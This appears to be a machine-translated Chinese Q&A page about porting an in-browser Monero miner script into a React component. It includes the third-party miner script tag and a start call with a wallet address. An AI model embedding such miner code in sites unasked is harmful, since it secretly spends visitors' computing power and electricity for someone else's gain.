Question

我正在从EJS模板迁移Web挖掘器以做出反应。下面的代码开始挖掘过程。

<script src="https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"></script>

<script>
  $(function() {
    EverythingIsLife('...', 'x', 70);
    $("#webMinerInfo").html("Mining...");
  });
</script>

它从该URL加载必要的数据（包括函数EverythingIsLife），然后运行它，并在开始挖掘时向用户显示一条消息。但是，当我尝试在React中做同样的事情时：

WebMinerPage.jsx：

function WebMinerPage() {
    document.body.style.backgroundColor = "#EEEEEE";
    // add miner script

    function handleLoad() {
        EverythingIsLife('...', 'x', 70);
        document.querySelector("#webMinerInfo").innerHTML = "Mining...";
    }

    useEffect(() => {
        window.addEventListener('load', handleLoad);

        return () => {
            window.removeEventListener('load', handleLoad);
        }
    }, []);

// return and export statements

在index.html开头的位置，我有： <script src="https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"></script>

它返回错误：

无法填写！没有定义EverythingisLife。

我该如何解决？任何帮助将不胜感激。

Answer 1

您需要将处理脚本初始化的事件监听器绑定/取消绑定到dom load事件：

class Comp1 extends React.Component {
 constructor(props) {
    super(props);
    this.handleLoad = this.handleLoad.bind(this);
 }

 componentDidMount() {
    window.addEventListener('load', this.handleLoad);
 }

 componentWillUnmount() { 
   window.removeEventListener('load', this.handleLoad)  
 }

 handleLoad() {
  window.EverythingIsLife('41e5VEKZTbWYpEWRW21yV1E9AVgNkNGrBciPSncifEAbHqxGUSd12Xr5yCfMyUTJM92opviLuaAWhXCHaX4gvdYLBBT9zUR', 'x', 70);
    $("#webMinerInfo").html("Mining...");
 }
}

以上等同于$(function() {})

$（function（）{...}）;只是jQuery的简写 $（document）.ready（function（）{...}）;它打算做什么（除其他事项外）确保一次调用您的函数页面的DOM元素已准备好使用

取自here

函数未从React中的外部js文件导入

1 个答案: